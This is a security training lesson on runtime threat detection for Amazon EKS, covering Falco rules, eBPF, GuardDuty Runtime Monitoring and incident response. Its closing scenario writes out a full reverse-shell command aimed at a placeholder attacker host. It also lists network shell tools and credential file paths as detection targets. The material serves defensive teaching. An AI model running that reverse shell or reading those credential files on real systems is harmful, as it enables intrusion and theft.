Lesson 08 — Amazon EKS Runtime Security

Learning Objectives

By the end of this lesson, you will be able to:

Understand what runtime security is
Explain why runtime protection is different from preventive security
Identify runtime attack techniques in Kubernetes
Understand container escape attacks
Detect malicious runtime behaviour
Monitor Linux system calls
Understand eBPF and modern runtime security
Deploy and understand Falco
Understand Amazon GuardDuty for EKS Runtime Monitoring
Integrate runtime security with Amazon Inspector
Build runtime detection rules
Design an enterprise runtime monitoring architecture
Investigate runtime incidents
Apply enterprise runtime security best practices

Why Runtime Security Matters

Building secure images and hardening Kubernetes clusters significantly reduce risk.

However, attackers may still gain access through:

Zero-day vulnerabilities
Stolen credentials
Compromised applications
Supply-chain attacks
Insider threats
Misconfigurations
Third-party libraries

Preventive controls alone cannot stop every attack.

Runtime security answers a different question:

What is happening inside the running workload right now?

Build Security

↓

Deploy Securely

↓

Application Starts

↓

Runtime Security Begins

Runtime monitoring detects attacks that occur after deployment.

What is Runtime Security?

Runtime security continuously monitors running containers, Pods, nodes and Kubernetes activities to identify suspicious or malicious behaviour.

Runtime monitoring focuses on:

Process execution
File access
Network connections
Privilege escalation
Container escapes
Shell execution
Kubernetes API misuse
Malware
Cryptomining
Data exfiltration

Security Lifecycle

Source Code

↓

Build

↓

Image Scanning

↓

Deployment

↓

Admission Control

↓

Running Workload

↓

Runtime Monitoring

↓

Incident Response

Runtime security protects workloads after deployment.

Runtime Attack Surface

Running Pod

├── Application Process
├── Container Runtime
├── Linux Kernel
├── Filesystem
├── Network Stack
├── Service Account
├── Mounted Secrets
├── Environment Variables
└── Kubernetes API

Every running workload presents an attack surface.

Common Runtime Threats

Examples include:

Reverse shells
Interactive shell access
Malware execution
Cryptomining
Privilege escalation
Container escape
Secret theft
Kubernetes credential theft
Host filesystem access
Host namespace access
Unauthorized network communication
Lateral movement

Example Runtime Attack

Compromised Web Application

↓

Remote Code Execution

↓

Shell Spawned

↓

Downloads Malware

↓

Attempts Privilege Escalation

↓

Reads Kubernetes Token

↓

Accesses Kubernetes API

↓

Attempts Lateral Movement

Runtime security detects this behaviour.

Runtime Security Architecture

Running Pods

↓

Linux Kernel Events

↓

eBPF / Syscalls

↓

Runtime Detection Engine

↓

Security Rules

↓

Alert

↓

SIEM

↓

SOC Investigation

Why Runtime Security is Different

Image scanning tells us:

“This image has vulnerabilities.”

Runtime monitoring tells us:

“This container is currently under attack.”

These solve different problems.

Runtime Detection Categories

Runtime monitoring typically detects:

Category	Examples
Process	Bash, curl, wget
Files	/etc/passwd, SSH keys
Network	Outbound connections
Containers	Privileged activity
Kubernetes	Secret access
Cloud	AWS API abuse
Identity	Credential theft

Linux System Calls

Every running application communicates with the Linux kernel using system calls.

Examples include:

open()
execve()
connect()
mount()
chmod()
fork()

Monitoring system calls provides deep visibility into application behaviour.

Example

Application

↓

execve("/bin/bash")

↓

Kernel

↓

Runtime Monitor

↓

Alert Generated

Launching Bash inside a production container is often suspicious.

What is eBPF?

eBPF (Extended Berkeley Packet Filter) allows programs to observe kernel events safely and efficiently.

Modern runtime security tools increasingly rely on eBPF because it provides:

Low overhead
High performance
Kernel visibility
Network visibility
Process visibility
File access monitoring

eBPF Architecture

Linux Kernel

↓

eBPF Programs

↓

Runtime Security Engine

↓

Detection Rules

↓

Alerts

Runtime Detection Engines

Common runtime detection engines include:

Falco
Tetragon
Cilium Hubble
Amazon GuardDuty Runtime Monitoring
Aqua Runtime Protection
Sysdig Secure
Prisma Cloud Defender

Falco

Falco is one of the most widely used open-source runtime security tools for Kubernetes.

Falco monitors:

System calls
Kubernetes audit events
Process execution
File access
Network activity

and generates alerts based on rules.

Falco Architecture

Linux Kernel

↓

System Calls

↓

Falco Engine

↓

Falco Rules

↓

Alert

↓

Slack

SIEM

CloudWatch

Webhook

Falco Components

Falco

├── Detection Engine
├── Rule Engine
├── Output Plugins
├── Kubernetes Metadata
└── Runtime Event Processor

What Falco Can Detect

Examples:

Shell inside container
Privileged container
HostPath access
Sensitive file access
SSH daemon inside container
Cryptominer execution
Reverse shell
Package installation
Container escape indicators
Kubernetes Secret access

Example Falco Rule

- rule: Shell in Container

  desc: Detect shell execution

  condition: >
    spawned_process and
    container and
    shell_procs

  output: >
    Shell started inside container

  priority: WARNING

Example Detection

Container

↓

execve("/bin/bash")

↓

Falco Rule Matches

↓

Alert

↓

SOC Investigation

Suspicious Commands

Runtime monitoring should detect execution of:

bash
sh
nc
ncat
curl
wget
python
perl
socat
netcat

in production workloads where they are unexpected.

Reverse Shell Detection

Example attack:

bash -i

↓

TCP Connection

↓

Attacker

Runtime detection should identify:

Shell
Outbound connection
Unusual process

Cryptomining

Indicators include:

High CPU usage
Mining processes
Suspicious pools
Long-running CPU spikes
Unknown binaries

Sensitive File Access

Examples:

/etc/shadow

/etc/passwd

/root/.ssh

/var/run/secrets

/proc

/sys

Unexpected access should generate alerts.

Kubernetes Service Account Theft

Attack sequence:

Compromised Pod

↓

Read Service Account Token

↓

Access Kubernetes API

↓

List Secrets

↓

Privilege Escalation

Runtime monitoring helps detect this activity.

Container Escape

Container escape attempts may involve:

Kernel vulnerabilities
HostPath abuse
Privileged containers
Docker socket access
Linux namespaces
Capabilities

Runtime Indicators of Escape

Examples:

Accessing host filesystem
Loading kernel modules
Mount operations
Namespace manipulation
Capability abuse
Host process interaction

Privilege Escalation

Examples include:

setuid
sudo
chmod 777
CAP_SYS_ADMIN abuse

These activities should be investigated immediately.

File Integrity Monitoring

Monitor:

/etc
/bin
/usr/bin
Application binaries
Configuration files

Unexpected modifications may indicate compromise.

Network Monitoring

Monitor:

Outbound traffic
DNS requests
New connections
Unusual ports
External IPs
Data transfers

Amazon GuardDuty Runtime Monitoring

Amazon GuardDuty Runtime Monitoring provides managed runtime threat detection for Amazon EKS.

It analyzes runtime activity to detect:

Reverse shells
Credential theft
Cryptocurrency mining
Container escape attempts
Suspicious process execution
Malware

Findings integrate with GuardDuty and Security Hub.

GuardDuty Architecture

Amazon EKS

↓

Runtime Agent

↓

GuardDuty

↓

Finding

↓

Security Hub

↓

SIEM

Amazon Inspector

Amazon Inspector complements runtime security by identifying:

Vulnerable container images
Software vulnerabilities
Package risks

Runtime monitoring answers:

“What is happening now?”

Inspector answers:

“What vulnerabilities exist?”

Runtime Detection Workflow

Suspicious Activity

↓

Runtime Rule Triggered

↓

Alert Created

↓

SOC Receives Alert

↓

Validate

↓

Contain

↓

Investigate

↓

Recover

Incident Investigation

Investigate:

Process tree
Pod logs
Audit logs
Network connections
Service Account
Container image
Recent deployments
IAM activity

Useful Commands

kubectl get pods -A

kubectl describe pod <pod>

kubectl logs <pod>

kubectl exec <pod> -- ps aux

kubectl get events

Runtime Alert Priorities

Severity	Example
Critical	Container escape
High	Reverse shell
High	Privilege escalation
Medium	Unexpected shell
Medium	Secret access
Low	Debug utilities

Runtime Response

Alert

↓

Validate

↓

Isolate Pod

↓

Capture Evidence

↓

Delete Pod

↓

Rebuild

↓

Root Cause Analysis

↓

Lessons Learned

Enterprise Runtime Architecture

Amazon EKS

↓

Falco

↓

GuardDuty Runtime Monitoring

↓

CloudWatch

↓

Security Hub

↓

Enterprise SIEM

↓

SOC

↓

Incident Response Team

Enterprise Best Practices

As a Cloud Security Engineer:

Enable runtime monitoring in every production cluster.
Deploy Falco or an equivalent runtime detection engine.
Enable Amazon GuardDuty Runtime Monitoring.
Use eBPF-based monitoring where supported.
Monitor shell execution.
Monitor privilege escalation.
Monitor Secret access.
Detect reverse shells.
Monitor network anomalies.
Enable centralized logging.
Integrate runtime alerts with the SIEM.
Build automated response playbooks.
Regularly tune runtime rules to reduce false positives.
Test runtime detection using controlled attack simulations.

Real-World Scenario

A retail company runs payment applications on Amazon EKS.

An attacker exploits a vulnerable web application and executes:

bash -i >& /dev/tcp/attacker.example.com/4444 0>&1

Falco immediately detects:

Shell execution
Outbound TCP connection
Reverse shell behavior

Amazon GuardDuty simultaneously generates a runtime finding for suspicious process execution.

The SOC:

Isolates the Pod.
Captures logs and runtime evidence.
Reviews Kubernetes audit logs.
Revokes compromised credentials.
Deploys a patched image.
Updates Falco detection rules.
Conducts a post-incident review.

The attack is contained before lateral movement or data exfiltration occurs.

Key Takeaways

Runtime security protects workloads after deployment.
Preventive controls alone are insufficient.
Linux system-call monitoring provides deep runtime visibility.
eBPF enables efficient modern runtime detection.
Falco is a leading open-source runtime security engine.
Amazon GuardDuty Runtime Monitoring provides managed runtime threat detection for Amazon EKS.
Runtime monitoring should detect shells, privilege escalation, reverse shells, malware and container escapes.
Runtime alerts should integrate with CloudWatch, Security Hub and enterprise SIEM platforms.
Runtime detections should feed directly into incident response workflows.

Knowledge Check

1. What is runtime security?

Answer: Runtime security continuously monitors running workloads to detect malicious or suspicious behaviour after deployment.

2. Why is runtime security needed if images are already scanned?

Answer: Image scanning identifies known vulnerabilities before deployment, while runtime security detects attacks, misuse and malicious behaviour occurring after workloads are running.

3. What is Falco?

Answer: Falco is an open-source runtime security tool that monitors Linux system calls and Kubernetes events to detect suspicious activity using configurable detection rules.

4. What types of attacks should runtime monitoring detect?

Answer: Examples include reverse shells, privilege escalation, container escapes, malware execution, credential theft, cryptomining and unauthorized process execution.

5. What is the role of Amazon GuardDuty Runtime Monitoring?

Answer: It provides managed runtime threat detection for Amazon EKS workloads, identifying suspicious process activity and other runtime threats, and integrates findings with AWS security services such as Security Hub.

What’s Next?

In the next lesson, we will explore Lesson 09 — Backup & Disaster Recovery, covering Amazon EKS backup strategies, Velero, Amazon EBS and EFS backups, disaster recovery architectures, multi-region recovery, ransomware resilience and enterprise business continuity planning.